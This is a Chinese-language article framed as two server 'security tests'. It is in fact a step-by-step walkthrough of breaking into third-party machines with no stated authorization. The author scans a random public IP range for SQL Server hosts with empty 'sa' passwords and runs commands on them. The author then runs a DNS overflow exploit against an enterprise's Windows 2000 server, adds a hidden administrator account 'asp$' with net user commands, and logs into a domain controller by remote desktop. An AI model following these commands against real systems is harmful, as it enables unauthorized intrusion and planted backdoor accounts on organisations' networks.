对于企业而言,服务器的重要性是不言而喻的。因此管理员们往往以维持服务器的稳定、高效地运行作为自己的工作目标,但是对于服务器的安全性往往考虑得较少,至少对于某些管理员是这样的。
最近笔者进行了两例服务器的安全测试,下面把这两例测试过程写下来,希望对大家有所启示。
测试工具:
1.S扫描器(一种速度极快的多线程命令行下的扫描工具)
2.SQL登陆器
3.DNS溢出工具
4.cmd(微软命令行工具)
4.scansql.exe(SQL弱口令扫描工具)
一、SQL Server弱口令测试
1.缘由:
SQL Server是很多中小型企业、事业单位的首选数据库系统,由于一些管理员的疏忽或者安全意识淡薄,总是以数据库默认的用户SA登录数据库,并且采用了默认的空密码或者设置了若口令。
2.测试:
以笔者本机IP为中心,随机选取了一个IP段进行测试。
第一步:在命令提示符下运行s扫描器,输入一个IP段:
s syn 61.178.*.1 61.178.*.254 1433 扫描到13个开了1433端口的服务器如图1。(图1)
第二步:把扫描结果保存为一个文本文件,然后用scansql.exe工具对这些IP进行若口令检测,检测到2个弱口令的IP。然后打开SQL连接器,输入其中一个若口令I,账户"sa“空密码连接成功如图2。然后敲命令”dir c:“,可以执行,如图3。这样就等于获得了一个具有system权限的shell(比管理员权限还高!),至此这台数据库服务器沦陷。(图2)(图3)
总结:虽然从上面这个IP段得到的存在SQL弱口令的服务器并不多,但如果存在弱口令并且被攻击者者利用,那对数据库服务器的打击将是毁灭性的,管理员们一定要加固数据库的口令。#p#副标题#e#
二、DNS溢出测试
1.缘由:
DNS溢出漏洞是去年微软的一个高危漏洞,攻击者通过该漏洞可以溢出获得一个shell,进而控制这台服务器。一年过去了,还有存在该漏洞的服务器吗?
2.测试:
笔者以某企业网站的IP为中心进行测试。
第一步:先看看该网站Web服务器的IP地址,打开命令提示符,敲入如下命令:ping www.*.com,得知ip地址为:202.2##.*.196。
第二步:以202.2##.*.196为中心确定一个IP段,在命令行下用S扫描器扫描开放了53端口(DNS端口)的服务器。对扫描结果中的IP逐个进行溢出测试,经过一次次的测试找到了一个存在DNS溢出的IP。在命令行下敲入如下命令:dns -s 202.2##.*.196,显示如图4。(图4)
说明:服务器采用的是windows 2000,在1052端口存在DNS溢出漏洞。
第三步:继续在命令行下,敲入如下命令:dns -t2000all 202.2##.*.196 1052 显示如图5。(图5)
第四步:重新打开另外一个命令提示符,敲入命令:telnet
第五步:在Telnet命令提示符下敲入命令:net user asp$ "test" /add
net localgroup administrators asp$ /add,建立一个具有管理员权限的asp$账户,密码为“test”。在本机运行“mstsc”,打开“远程桌面连接工具”,输入IP地址:202.2##.*.196,用户名:asp$
密码:test,连接成功如图7。(图7)
第六步:打开“管理工具”,发现这台主机还是一个域控制器,打开“域用户和计算机”,域成员竟然有43511个如图8,看来这个企业的局域网的规模不小。(图8)
总结:一年前的漏洞到现在还没有打,管理员太失职了。
上面有关服务器的两例安全测试,虽是个案不具有普遍性,但其中反应出的管理员的疏忽大意及其安全意识淡薄是不容忽视的。笔者认为,作为企业服务器稳定高效固然重要,但安全更重要,没有了安全性其他都无从谈起。就让我们从为服务器打好补丁,设置健壮的密码开始,全方位地打造安全的服务器。